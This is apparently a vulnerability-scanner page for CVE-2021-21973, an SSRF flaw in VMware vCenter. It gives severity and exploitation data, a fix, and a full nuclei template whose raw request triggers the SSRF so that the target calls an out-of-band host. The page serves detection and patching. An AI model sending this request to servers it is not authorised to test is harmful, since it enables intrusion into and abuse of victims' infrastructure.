VMware vSphere - Server-Side Request Forgery

Exploited in the wild. Listed by CISA on 2022-03-07; known to be used by ransomware.

mediumseverity

5.3CVSS score

88%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).

Impact

Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks.

Fix

Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability.

How to confirm it

Send: GET /ui/vropspluginui/rest/services/getvcdetails
Positive when: contains "The server sent HTTP status code 200" AND status 500

Run it with nuclei: nuclei -id CVE-2021-21973 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-21973

info:
  name: VMware vSphere - Server-Side Request Forgery
  author: pdteam
  severity: medium
  description: VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks.
  remediation: |
    Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability.
  reference:
    - https://twitter.com/osama_hroot/status/1365586206982082560
    - https://twitter.com/bytehx343/status/1486582542807420928
    - https://www.vmware.com/security/advisories/VMSA-2021-0002.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21973
    - https://github.com/soosmile/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-21973
    cwe-id: CWE-918
    epss-score: 0.88012
    epss-percentile: 0.99766
    cpe: cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: cloud_foundation
  tags: cve2021,cve,vmware,ssrf,vcenter,oast,kev,vkev,vuln

http:
  - raw:
      - |
        GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
        Host: {{Hostname}}
        Vcip: {{interactsh-url}}
        Vcpassword: {{rand_base(6)}}
        Vcusername: {{rand_base(6)}}
        Reqresource: {{rand_base(6)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "The server sent HTTP status code 200"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from